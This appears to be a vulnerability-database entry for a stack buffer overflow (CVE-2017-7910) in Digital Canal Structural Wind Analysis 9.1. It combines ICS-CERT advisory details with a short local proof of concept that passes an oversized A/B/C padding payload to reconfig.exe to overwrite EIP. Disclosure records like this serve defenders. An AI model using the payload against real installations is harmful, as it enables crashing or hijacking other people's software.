ID
VAR-E-201706-0471
TITLE
Digital Canal Structural Wind Analysis 9.1 Buffer Overflow
Trust: 0.5
DESCRIPTION
Digital Canal Structural Wind Analysis versions 9.1 and below suffer from a buffer overflow vulnerability.
Trust: 0.5
AFFECTED PRODUCTS
| vendor: | digital | model: | canal structural wind analysis | scope: | eq | version: | 9.1 | Trust: 0.5 |
EXPLOIT
Vendor: Digital Canal Structural
Equipment: Wind Analysis
Vulnerability: Stack-Based Buffer Overflow
Advisory URL:
https://ipositivesecurity.com/2017/06/15/ics-digital-canal-structural-wind-analysis-stack-buffer-overflow/
ICS-CERT Advisory
https://ics-cert.us-cert.gov/advisories/ICSA-17-157-02
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AFFECTED PRODUCTS
------------------------
The following versions of Wind Analysis, a structural engineering software
platform, are affected:
Wind Analysis versions 9.1 and prior.
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IMPACT
------------------------
Successful exploitation of this vulnerability could cause the device that
the attacker is accessing to become unavailable, resulting in a denial of
service.
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VULNERABILITY OVERVIEW
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STACK-BASED BUFFER OVERFLOW CWE-121
<https://cwe.mitre.org/data/definitions/121.html>
An attacker may be able to run arbitrary code by remotely exploiting an
executable to perform a denial-of-service attack.
CVE-2017-7910
<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-7910> has been
assigned to this vulnerability. A CVSS v3 base score of 7.5 has been
assigned; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H>
).
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Exploitation
------------------------
Note: This is a local exploit, not remote.
Vulnerable application
reconfig.exe
Exploit -> EIP overwrite
C:\dcc\wind9> reconfig.exe <payload>
Payload
aAa*576 + aBa*4 + aCa*420
+++++
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EXPLOIT HASH
LOCAL | SOURCE | ||||||||
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PRICE
free
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TYPE
overflow
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TAGS
| tag: | exploit | Trust: 0.5 |
| tag: | overflow | Trust: 0.5 |
CREDITS
Karn Ganeshen
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EXTERNAL IDS
| db: | ICS CERT | id: | ICSA-17-157-02 | Trust: 0.5 |
| db: | NVD | id: | CVE-2017-7910 | Trust: 0.5 |
| db: | PACKETSTORM | id: | 143215 | Trust: 0.5 |
SOURCES
| db: | PACKETSTORM | id: | 143215 |
LAST UPDATE DATE
2022-07-27T09:21:28.210000+00:00
SOURCES RELEASE DATE
| db: | PACKETSTORM | id: | 143215 | date: | 2017-06-30T10:22:22 |